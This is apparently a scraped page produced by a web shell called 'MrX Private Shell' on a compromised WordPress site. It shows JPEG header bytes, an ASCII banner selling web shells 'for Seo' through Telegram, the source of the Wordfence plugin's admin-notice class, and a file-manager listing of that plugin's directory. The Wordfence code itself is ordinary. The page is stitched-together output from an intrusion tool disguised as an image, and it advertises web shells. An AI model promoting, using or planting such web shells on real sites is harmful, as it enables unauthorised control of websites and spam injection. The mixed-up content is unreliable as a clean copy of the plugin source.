����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
class wfAdminNoticeQueue {
const USERS_ALL = 'all';
protected static function _notices() {
return self::_purgeObsoleteNotices(wfConfig::get_ser('adminNoticeQueue', array()));
}
private static function _purgeObsoleteNotices($notices) {
$altered = false;
foreach ($notices as $id => $notice) {
if (!empty($notice['category']) && $notice['category'] === 'php8') {
unset($notices[$id]);
$altered = true;
}
}
if ($altered)
self::_setNotices($notices);
return $notices;
}
protected static function _setNotices($notices) {
wfConfig::set_ser('adminNoticeQueue', $notices);
}
/**
* Adds an admin notice to the display queue.
*
* @param string $severity
* @param string $messageHTML
* @param bool|string $category If not false, notices with the same category will be removed prior to adding this one.
* @param bool|array $users If not false, an array of user IDs the notice should show for.
*/
public static function addAdminNotice($severity, $messageHTML, $category = false, $users = false) {
$notices = self::_notices();
foreach ($notices as $id => $n) {
$usersMatches = false;
if (isset($n['users'])) {
$usersMatches = wfUtils::sets_equal($n['users'], $users);
}
else if ($users === false) {
$usersMatches = true;
}
$categoryMatches = false;
if ($category !== false && isset($n['category']) && $n['category'] == $category) {
$categoryMatches = true;
}
if ($usersMatches && $categoryMatches) {
unset($notices[$id]);
}
}
$id = wfUtils::uuid();
$notices[$id] = array(
'severity' => $severity,
'messageHTML' => $messageHTML,
);
if ($category !== false) {
$notices[$id]['category'] = $category;
}
if ($users !== false) {
$notices[$id]['users'] = $users;
}
self::_setNotices($notices);
}
/**
* Removes an admin notice by ID. An admin may remove any notice where lower privileged users can only
* remove themselves from the notice.
*
* @param string $id
*/
public static function removeAdminNoticeForID($id) {
$user = wp_get_current_user();
if (!$user->exists()) {
return;
}
$notices = self::_notices();
$found = false;
foreach ($notices as $nid => $n) {
if ($id == $nid) { //ID match
$currentUserInUsers = !empty($n['users']) && in_array($user->ID, $n['users']);
if (wfUtils::isAdmin($user)) {
unset($notices[$nid]);
$found = true;
}
else if ($currentUserInUsers) {
$notices[$nid]['users'] = array_diff($n['users'], array($user->ID));
if (empty($notices[$nid]['users'])) {
unset($notices[$nid]);
}
$found = true;
}
break;
}
}
if ($found) {
self::_setNotices($notices);
}
}
/**
* Removes any admin notices matching $category that are global (i.e. not specific to a user).
*
* @param string $category
* @return void
*/
public static function removeGlobalAdminNoticeForCategory($category) {
$notices = self::_notices();
$found = false;
foreach ($notices as $nid => $n) {
if (isset($n['category']) && $category == $n['category']) {
if (empty($n['users'])) {
unset($notices[$nid]);
$found = true;
}
}
}
if ($found) {
self::_setNotices($notices);
}
}
/**
* Removes any admin notices matching $category that are specific to the user with ID $userID.
*
* @param string $category
* @param null|int|string $userID `null` means the current user, `all` means all users, and an integer means a specific user
* @return void
*/
public static function removeAdminNoticeForCategory($category, $userID = null) {
if ($userID === null) {
$user = wp_get_current_user();
if (!$user->exists()) { return; }
$userID = $user->ID;
}
$notices = self::_notices();
$found = false;
foreach ($notices as $nid => $n) {
if (isset($n['category']) && $category == $n['category']) {
if ($userID === 'all') {
unset($notices[$nid]);
$found = true;
}
else {
$currentUserInUsers = !empty($n['users']) && in_array($userID, $n['users']);
if ($currentUserInUsers) {
$notices[$nid]['users'] = array_diff($n['users'], array($userID));
if (empty($notices[$nid]['users'])) {
unset($notices[$nid]);
}
$found = true;
}
}
}
}
if ($found) {
self::_setNotices($notices);
}
}
/**
* Returns whether at least one queued admin notice matches the provided filters.
*
* Matching behavior:
* - `$category === null` matches notices with no `category` field.
* - `$category === false` matches notices with any `category` field.
* - `$category === {string}` matches notices whose `category` equals `$category`.
* - `$users === null` matches notices with no `users` field (global notices).
* - `$users === false` matches notices with any `users` field
* - `$users === {array}` matches notices with a `users` field where the notice's
* user IDs contain the IDs in `$users` (`wfUtils::is_subset($noticeUsers, $users)`).
*
* A notice is considered a match only when both category and user checks pass.
*
* @param string|null|false $category Category to match, `false` for any category, or `null` for uncategorized notices.
* @param int[]|null|false $users User IDs to match against, `false` for any user, or `null` for global notices.
* @return bool True if a matching notice exists; otherwise false.
*/
public static function hasNotice($category = null, $users = null) {
$notices = self::_notices();
foreach ($notices as $nid => $n) {
$categoryMatches = false;
if ($category === false || ($category === null && !isset($n['category'])) || ($category !== false && $category !== null && isset($n['category']) && $category == $n['category'])) {
$categoryMatches = true;
}
$usersMatches = null;
if ($users === false || ($users === null && !isset($n['users'])) || ($users !== false && $users !== null && isset($n['users']) && wfUtils::is_subset($n['users'], $users))) {
$usersMatches = true;
}
if ($categoryMatches && $usersMatches) {
return true;
}
}
return false;
}
/**
* Returns whether the provided user has any admin notices that will show.
*
* @param WP_User $user
* @return bool
*/
public static function hasAnyNotice($user) {
if (!$user->exists()) {
return false;
}
$notices = self::_notices();
foreach ($notices as $nid => $n) {
if ((wfUtils::isAdmin($user) && !isset($n['users'])) || (isset($n['users']) && wfUtils::is_subset($n['users'], array($user->ID)))) {
return true;
}
}
return false;
}
/**
* Enqueues any admin notices that are applicable to the current user.
*
* @param bool $userSpecificOnly If true, only notices that are specific to the current user will be enqueued.
*/
public static function enqueueAdminNotices($userSpecificOnly = false) {
$user = wp_get_current_user();
if ($user->ID == 0) {
return false;
}
$networkAdmin = is_multisite() && is_network_admin();
$notices = self::_notices();
$added = false;
foreach ($notices as $nid => $n) {
if (isset($n['users'])) {
if (!in_array($user->ID, $n['users'])) { continue; }
}
else {
if ($userSpecificOnly) { continue; }
}
$notice = new wfAdminNotice($nid, $n['severity'], $n['messageHTML']);
if ($networkAdmin) {
add_action('network_admin_notices', array($notice, 'displayNotice'));
}
else {
add_action('admin_notices', array($notice, 'displayNotice'));
}
$added = true;
}
return $added;
}
}
class wfAdminNotice {
const SEVERITY_CRITICAL = 'critical';
const SEVERITY_WARNING = 'warning';
const SEVERITY_INFO = 'info';
private $_id;
private $_severity;
private $_messageHTML;
public function __construct($id, $severity, $messageHTML) {
$this->_id = $id;
$this->_severity = $severity;
$this->_messageHTML = $messageHTML;
}
public function displayNotice() {
$severityClass = 'notice-info';
if ($this->_severity == self::SEVERITY_CRITICAL) {
$severityClass = 'notice-error';
}
else if ($this->_severity == self::SEVERITY_WARNING) {
$severityClass = 'notice-warning';
}
echo '<div class="wf-admin-notice notice ' . $severityClass . '" data-notice-id="' . esc_attr($this->_id) . '"><p>' . $this->_messageHTML . '</p><p><a class="wf-btn wf-btn-default wf-btn-sm wf-dismiss-link" href="#" onclick="wordfenceExt.dismissAdminNotice(\'' . esc_attr($this->_id) . '\'); return false;" role="button">' . esc_html__('Dismiss', 'wordfence') . '</a></p></div>';
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Diff | Folder | 0755 |
|
|
| audit-log | Folder | 0755 |
|
|
| dashboard | Folder | 0755 |
|
|
| rest-api | Folder | 0755 |
|
|
| .htaccess | File | 354 B | 0644 |
|
| Diff.php | File | 5.63 KB | 0644 |
|
| IPTraf.php | File | 1.17 KB | 0644 |
|
| WFLSPHP52Compatability.php | File | 1.27 KB | 0644 |
|
| compat.php | File | 425 B | 0644 |
|
| diffResult.php | File | 2.85 KB | 0644 |
|
| email_genericAlert.php | File | 1.39 KB | 0644 |
|
| email_newIssues.php | File | 8.82 KB | 0644 |
|
| email_unlockRequest.php | File | 2.34 KB | 0644 |
|
| email_unsubscribeRequest.php | File | 1.02 KB | 0644 |
|
| flags.php | File | 6.62 KB | 0644 |
|
| geoip.mmdb | File | 8.86 MB | 0644 |
|
| live_activity.php | File | 580 B | 0644 |
|
| menu_dashboard.php | File | 4.46 KB | 0644 |
|
| menu_dashboard_options.php | File | 1.69 KB | 0644 |
|
| menu_firewall.php | File | 1.94 KB | 0644 |
|
| menu_firewall_blocking.php | File | 317 B | 0644 |
|
| menu_firewall_blocking_options.php | File | 3.07 KB | 0644 |
|
| menu_firewall_waf.php | File | 4.01 KB | 0644 |
|
| menu_firewall_waf_options.php | File | 2.02 KB | 0644 |
|
| menu_install.php | File | 2.05 KB | 0644 |
|
| menu_options.php | File | 9.15 KB | 0644 |
|
| menu_scanner.php | File | 3.6 KB | 0644 |
|
| menu_scanner_credentials.php | File | 2.86 KB | 0644 |
|
| menu_scanner_options.php | File | 3.33 KB | 0644 |
|
| menu_support.php | File | 10.87 KB | 0644 |
|
| menu_tools.php | File | 1.68 KB | 0644 |
|
| menu_tools_auditlog.php | File | 12.49 KB | 0644 |
|
| menu_tools_diagnostic.php | File | 38.69 KB | 0644 |
|
| menu_tools_importExport.php | File | 1.33 KB | 0644 |
|
| menu_tools_livetraffic.php | File | 408 B | 0644 |
|
| menu_tools_twoFactor.php | File | 991 B | 0644 |
|
| menu_tools_whois.php | File | 1.3 KB | 0644 |
|
| menu_wordfence_central.php | File | 9.8 KB | 0644 |
|
| noc1.key | File | 1.64 KB | 0644 |
|
| sodium_compat_fast.php | File | 185 B | 0644 |
|
| sysinfo.php | File | 1.51 KB | 0644 |
|
| viewFullActivityLog.php | File | 1.47 KB | 0644 |
|
| wf503.php | File | 9.72 KB | 0644 |
|
| wfAPI.php | File | 10.1 KB | 0644 |
|
| wfActivityReport.php | File | 20.55 KB | 0644 |
|
| wfAdminNoticeQueue.php | File | 8.38 KB | 0644 |
|
| wfAlerts.php | File | 8.19 KB | 0644 |
|
| wfAuditLog.php | File | 47.13 KB | 0644 |
|
| wfBinaryList.php | File | 1.02 KB | 0644 |
|
| wfBrowscap.php | File | 3.9 KB | 0644 |
|
| wfBrowscapCache.php | File | 256.83 KB | 0644 |
|
| wfBulkCountries.php | File | 9.77 KB | 0644 |
|
| wfCache.php | File | 6.02 KB | 0644 |
|
| wfCentralAPI.php | File | 25.94 KB | 0644 |
|
| wfCommonPasswords.php | File | 1.25 KB | 0644 |
|
| wfConfig.php | File | 127.17 KB | 0644 |
|
| wfCrawl.php | File | 6.92 KB | 0644 |
|
| wfCredentialsController.php | File | 10.29 KB | 0644 |
|
| wfCrypt.php | File | 4.05 KB | 0644 |
|
| wfCurlInterceptor.php | File | 1.02 KB | 0644 |
|
| wfDB.php | File | 11.49 KB | 0644 |
|
| wfDashboard.php | File | 9.25 KB | 0644 |
|
| wfDateLocalization.php | File | 352.13 KB | 0644 |
|
| wfDeactivationOption.php | File | 2.13 KB | 0644 |
|
| wfDiagnostic.php | File | 66.92 KB | 0644 |
|
| wfDirectoryIterator.php | File | 1.89 KB | 0644 |
|
| wfFileUtils.php | File | 2.72 KB | 0644 |
|
| wfHelperBin.php | File | 1.97 KB | 0644 |
|
| wfHelperString.php | File | 2.13 KB | 0644 |
|
| wfI18n.php | File | 878 B | 0644 |
|
| wfIPWhitelist.php | File | 1.56 KB | 0644 |
|
| wfImportExportController.php | File | 3.23 KB | 0644 |
|
| wfInaccessibleDirectoryException.php | File | 303 B | 0644 |
|
| wfInvalidPathException.php | File | 266 B | 0644 |
|
| wfIpLocation.php | File | 1.8 KB | 0644 |
|
| wfIpLocator.php | File | 2.7 KB | 0644 |
|
| wfIssues.php | File | 29.07 KB | 0644 |
|
| wfJWT.php | File | 5.33 KB | 0644 |
|
| wfJavascriptBridge.php | File | 199.14 KB | 0644 |
|
| wfLicense.php | File | 10.95 KB | 0644 |
|
| wfLockedOut.php | File | 9.81 KB | 0644 |
|
| wfLog.php | File | 58.47 KB | 0644 |
|
| wfMD5BloomFilter.php | File | 5.2 KB | 0644 |
|
| wfModuleController.php | File | 754 B | 0644 |
|
| wfNotification.php | File | 6.7 KB | 0644 |
|
| wfOnboardingController.php | File | 8.93 KB | 0644 |
|
| wfPersistenceController.php | File | 1.4 KB | 0644 |
|
| wfRESTAPI.php | File | 377 B | 0644 |
|
| wfScan.php | File | 15.98 KB | 0644 |
|
| wfScanEngine.php | File | 127.73 KB | 0644 |
|
| wfScanEntrypoint.php | File | 1.04 KB | 0644 |
|
| wfScanFile.php | File | 1.01 KB | 0644 |
|
| wfScanFileLink.php | File | 403 B | 0644 |
|
| wfScanFileListItem.php | File | 408 B | 0644 |
|
| wfScanFileProperties.php | File | 1.07 KB | 0644 |
|
| wfScanMonitor.php | File | 4.09 KB | 0644 |
|
| wfScanPath.php | File | 1.77 KB | 0644 |
|
| wfSchema.php | File | 11.93 KB | 0644 |
|
| wfStyle.php | File | 1.21 KB | 0644 |
|
| wfSupportController.php | File | 24.95 KB | 0644 |
|
| wfUnlockMsg.php | File | 1.14 KB | 0644 |
|
| wfUpdateCheck.php | File | 27.23 KB | 0644 |
|
| wfUtils.php | File | 131.69 KB | 0644 |
|
| wfVersionCheckController.php | File | 15.59 KB | 0644 |
|
| wfVersionSupport.php | File | 535 B | 0644 |
|
| wfView.php | File | 2.22 KB | 0644 |
|
| wfViewResult.php | File | 1.47 KB | 0644 |
|
| wfWebsite.php | File | 1.75 KB | 0644 |
|
| wordfenceClass.php | File | 392.6 KB | 0644 |
|
| wordfenceConstants.php | File | 3.35 KB | 0644 |
|
| wordfenceHash.php | File | 42.6 KB | 0644 |
|
| wordfenceScanner.php | File | 28.19 KB | 0644 |
|
| wordfenceURLHoover.php | File | 18.35 KB | 0644 |
|